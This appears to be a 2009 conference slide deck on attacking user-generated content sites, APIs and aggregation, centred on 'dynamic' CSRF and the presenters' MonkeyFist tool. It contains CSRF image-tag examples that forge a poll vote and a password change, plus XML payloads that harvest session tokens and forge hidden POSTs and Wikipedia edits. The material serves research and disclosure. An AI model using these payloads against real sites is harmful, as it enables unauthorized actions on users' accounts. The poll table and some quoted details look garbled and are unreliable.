WEAPONIZING THE WEB
MORE ATTACKS ON USER GENERATED CONTENT
CITIZEN: NATHAN HAMIEL
Senior Consultant - Idea InfoSec
Associate Prof @UAT, Hexagon Security Group
23rd Degree Mason, LavaRolling Enthusiast

CITIZEN: SHAWN MOYER
Principal Consultant - FishNet Security
Douchebag with microphone, self-styled Wikipedian
Shot a man in Reno just to watch him die
Buddy/Friend/Guy

Good News Buddy!
★ Navel gazing and rants
   ★ Democratization of misinformation
   ★ Trust, integration, and shared exposure
   ★ Features arms race, emerging attack surface

★ Actual information and content
   ★ A nifty (we think) approach to an old bug
   ★ Tool release, ensuing demos o' fail
   ★ Stupid API tricks and multi-site mayhem
   ★ Sorry, you have to listen to rants first. =)
User-Generated Content
- User-driven, social, collaborative content
- Blogs, wikis, socnets, web communities
- Increasingly bolted onto “old” web media

Integrated, Aggregated, Dynamic
- Offsite content, syndication, shared APIs
- Aggregation points, feeds, personal portals
- Increasing client-side logic (REST, JSON, etc)
Moot is Time's person the year
- Lulzy example. Larger problem.
- Time: “Feh. Internet polls aren't trusted.” Oh.

<table>
<thead>
<tr>
<th>Rank</th>
<th>Name</th>
<th>Avg. Rating</th>
<th>Total Vote</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>moot</td>
<td>87</td>
<td>12,939,521</td>
</tr>
<tr>
<td>2</td>
<td>Ahwar Ibrahim</td>
<td>42</td>
<td>1,632,411</td>
</tr>
<tr>
<td>3</td>
<td>Rick Warren</td>
<td>42</td>
<td>1,290,988</td>
</tr>
<tr>
<td>4</td>
<td>Baitullah Mehsud</td>
<td>40</td>
<td>1,281,854</td>
</tr>
<tr>
<td>5</td>
<td>Larry Brilliant</td>
<td>39</td>
<td>1,425,061</td>
</tr>
<tr>
<td>6</td>
<td>Eric Holder</td>
<td>38</td>
<td>1,215,008</td>
</tr>
<tr>
<td>7</td>
<td>Carlos Slim</td>
<td>37</td>
<td>1,311,525</td>
</tr>
<tr>
<td>8</td>
<td>Angela Merkel</td>
<td>37</td>
<td>1,069,787</td>
</tr>
<tr>
<td>9</td>
<td>Kobe Bryant</td>
<td>36</td>
<td>1,195,005</td>
</tr>
<tr>
<td>10</td>
<td>Evo Morales</td>
<td>34</td>
<td>1,045,245</td>
</tr>
<tr>
<td>11</td>
<td>Alexander Lebedev</td>
<td>34</td>
<td>640,115</td>
</tr>
<tr>
<td>12</td>
<td>Lil’ Wayne</td>
<td>33</td>
<td>637,426</td>
</tr>
<tr>
<td>13</td>
<td>Sheikh Ahmed bin Zayed Al Nahyan</td>
<td>32</td>
<td>622,054</td>
</tr>
<tr>
<td>14</td>
<td>Ollel Barnes</td>
<td>31</td>
<td>621,182</td>
</tr>
<tr>
<td>15</td>
<td>Tina Fey</td>
<td>30</td>
<td>646,446</td>
</tr>
<tr>
<td>16</td>
<td>Hu Jintao</td>
<td>29</td>
<td>614,359</td>
</tr>
<tr>
<td>17</td>
<td>Eric Cantor</td>
<td>28</td>
<td>580,189</td>
</tr>
<tr>
<td>18</td>
<td>Gamal Mubarak</td>
<td>27</td>
<td>580,389</td>
</tr>
<tr>
<td>19</td>
<td>Ali al-Naimi</td>
<td>26</td>
<td>627,786</td>
</tr>
<tr>
<td>20</td>
<td>Muqtada al-Sadr</td>
<td>25</td>
<td>564,094</td>
</tr>
<tr>
<td>21</td>
<td>Elizabeth Warren</td>
<td>24</td>
<td>559,800</td>
</tr>
<tr>
<td>22</td>
<td>Yemeni President</td>
<td>23</td>
<td>537,748</td>
</tr>
<tr>
<td>23</td>
<td>Malala Yousafzai</td>
<td>22</td>
<td>529,997</td>
</tr>
</tbody>
</table>
Post-MJ celebrity death hoaxes
- Some “real” news outlets picked up.
- iReport, uReport, you are on notice.
- Note: Please stop Rickrolling. Please.
WHAT COULD POSSIBLY GO WRONG?

★ NYT aggregation fail
★ HTML injection article propagates HTML injection
★ Aggregation, syndication, shared exposure

Wednesday, October 7, 2009
What could possibly go wrong?

* Social tagging and bookmarking
  * Nathan's coworker's Tag Of Vengeance
  * Fine. You're in the slide deck again.
The emerging socialized web

- Multi-site aggregation = Attacker ROI
- Multipoint attack surfaces, APIs, “Digg this!”, etc
- (n)th-parties and shared exposure

“Malware-like” legit functionality

- Silent updates, presence announcements
- Offsite links and wrapped external content
- Try blocking .js for googleapis.com. I dare you.
File Sharing
A simple and safe way to share files directly from your computer.

Photo Sharing
Share your personal photos with friends around the world without the need to upload them.

Fridge
A fun place for people to leave notes on your computer.

The Lounge
Invite your friends to a chat in The Lounge hosted on your computer.

Media Player
Access your complete home music library from wherever you are.

Web Server
Host your Web sites running from your own computer.
★ Retrofitting the Thing of The Now
★ More FF fail. No, srsly.
EXPOSING YOURSELF

One mechanism for accessing and mashing data
One framework for developing apps
One social graph and profile record
Global scalability, replication and storage

Wednesday, October 7, 2009

SECTOR 2009
APIs are the New Hotness

- Integrate other site functions (*Your* tweets in *my* Facebook? Awww....)
- Hooks into fluffy clouds of amorphous love
  - googleapis, amazonws, others
  - Crossdomain content, sandboxing

Two major types of APIs

- For consumption of application services
- For integration of app on another site
★ Your app is so ugly its APIs have APIs
★ How far away from what we are using do we need to be?

★ = WTF. Complexity breeds exposure.
 Attacks anonymization via shared APIs
Hi5 API localhost dev page. Opps1!1
Triangle of Death
(Rectangle|Pentagon|Hexagon|Octagon) of Death
Do you use a browser for it?
CLASSICAL CSRF

Example:
<img src="http://good.com/poll.php?poll=5&selection=2" height="1" width="1">
"Dynamic" CSRF.

- Per-request, per-session, per-user forgeries
- Watkins described in 2001, but no one noticed
- Samy, recent bit.ly XSS, other XSS worms
- Again, well understood as XSS side effect

Lots of "complex" CSRF gets ignored

- POST-based, tokenized, per-user requests
- Still exploitable, but higher bar

- `<img src="/password?newpassword=moo">` gets old after the 30 times or so.
3-Way Site Communication
1. Initial Request
2. Redirect to bad.com
3. Custom payload for site

Custom Payload for site w/ tokens, session IDs, etc.

Redirected Request w/ referer, CSRF tokens, session IDs, etc.

good.com
kindagood.com
sortagood.com
bad.com
MonkeyFist: PoC Dynamic CSRF Tool

- [http://hexsec.com/labs](http://hexsec.com/labs)
- Small Python web server
- Creates payload / patterns based on referrer
- Automates per-request, “dynamic” CSRF
- Constructs hidden POSTs, redirects, refreshes
- Makes requests for tokens or steals from referrer
MF PAYLOAD OPTIONS

★ <PAYLOAD n="1"> - Payload with number
★ <SITE l="example.com"> - Site entry w/ domain
★ <METHOD> - Attack method (GET, POST, PAGE)
★ <ID> - Session data to grab
★ <TARGET> - URL to send attack to
★ <HEADER> - Header to add to POST request
★ <HEADVAL> - Value for defined header
★ <POSTVAR> - POST Variable name
★ <POSTVAL> - Value for defined POST variable
★ <DESTINATION> - Destination for meta refresh
<ATTACKS>
  <PAYLOAD n="1">
    <SITE l="example1.com">
      <METHOD>GET</METHOD>
      <ID>rand</ID>
      <ID>sess</ID>
      <TARGET>http://example1.com/update.php?rand=amp;sess=amp;message=hello</TARGET>
    </SITE>
  </PAYLOAD>
  <PAYLOAD n="2">
    <SITE l="www.example2.com">
      <METHOD>POST</METHOD>
      <ID>rand</ID>
      <ID>sess</ID>
      <TARGET>http://www.example2.com/update.php</TARGET>
      <HEADER>User-Agent</HEADER>
      <HEADVAL>Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)</HEADVAL>
      <HEADER>Cookie</HEADER>
      <HEADVAL>sess</HEADVAL>
      <POSTVAR>foo</POSTVAR>
      <POSTVAR>bar</POSTVAR>
      <POSTVAR>morefoo</POSTVAR>
      <POSTVAR>morebar</POSTVAR>
      <POSTVAR>rand</POSTVAR>
      <POSTVAR>rand</POSTVAR>
    </SITE>
  </PAYLOAD>
</ATTACKS>
DYNAMIC REDIRECT ATTACK

1. Request for Content
2. Cross-Domain Data
3. Redirect w/ Session Data
4. Redirect w/ Session Data

good.com

Host w/ Redirect

Wednesday, October 7, 2009
Cross-site request forgery

Also known as a one-click attack or session riding and abbreviated as CSRF (see also[1]) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

### Background

CSRF vulnerabilities have been known and in some cases exploited since the 1990s.[2] Because it is carried out from the user's IP address, some Web site logs might not have evidence of CSRF.[3] Exploits are under-reported, at least publicly, and as of 2008 there are few well-documented examples. About 85 million users of eBay's Internet Auctions site at Auction caixi in Korea lost personal information in February 2008.[4] Customers of a bank in Mexico were attacked in early 2008 with an image tag in email and were sent through their home routers to the wrong website.[5]

### Example and characteristics

...
★ MF “Dynamic” CSRF of anon Wikipedia edit
★ Requests were replayable, but unique
★ WPEditTime, WPStarttime, other session values
★ MF requested session values, hidden POST
★ We think this is pretty nifty.

OMGTHETANS!
<PAYLOAD n="5">
  <SITE l="stlouis.craigslist.org">
    <METHOD>FIXATION</METHOD>
    <DESTINATION>http://www.youtube.com/watch?v=ZAI5oaNw</DESTINATION>
    <FIXVAR>wpStarttime</FIXVAR>
    <FIXVAL>wpStarttime</FIXVAL>
    <FIXVAR>wpEdittime</FIXVAR>
    <FIXVAR>wpEdittime</FIXVAR>
    <FIXVAR>wpAutoSummary</FIXVAR>
    <FIXVAR>wpAutoSummary</FIXVAR>
    <POSTVAR>wpAntispam</POSTVAR>
    <POSTVAL></POSTVAL>
    <POSTVAR>wpSection</POSTVAR>
    <POSTVAL>_</POSTVAL>
    <POSTVAR>wpScrolltop</POSTVAR>
    <POSTVAL>_</POSTVAL>
    <POSTVAR>wpSummary</POSTVAR>
    <POSTVAL>_</POSTVAL>
    <POSTVAR>wpSave</POSTVAR>
    <POSTVAR>Save+page</POSTVAR>
    <POSTVAR>wpEditToken</POSTVAR>
    <POSTVAL>_</POSTVAL>
  </SITE>
</PAYLOAD>
CSRF mitigations are well understood
Still, you have to LOTS of things right
No bolt on fixes, sorry.
Look at your code! Forget SOP.
Thanks for listening. Send bugfixes.
Nathan’s blog: http://www.neohaxor.org
Shawn hates blogs.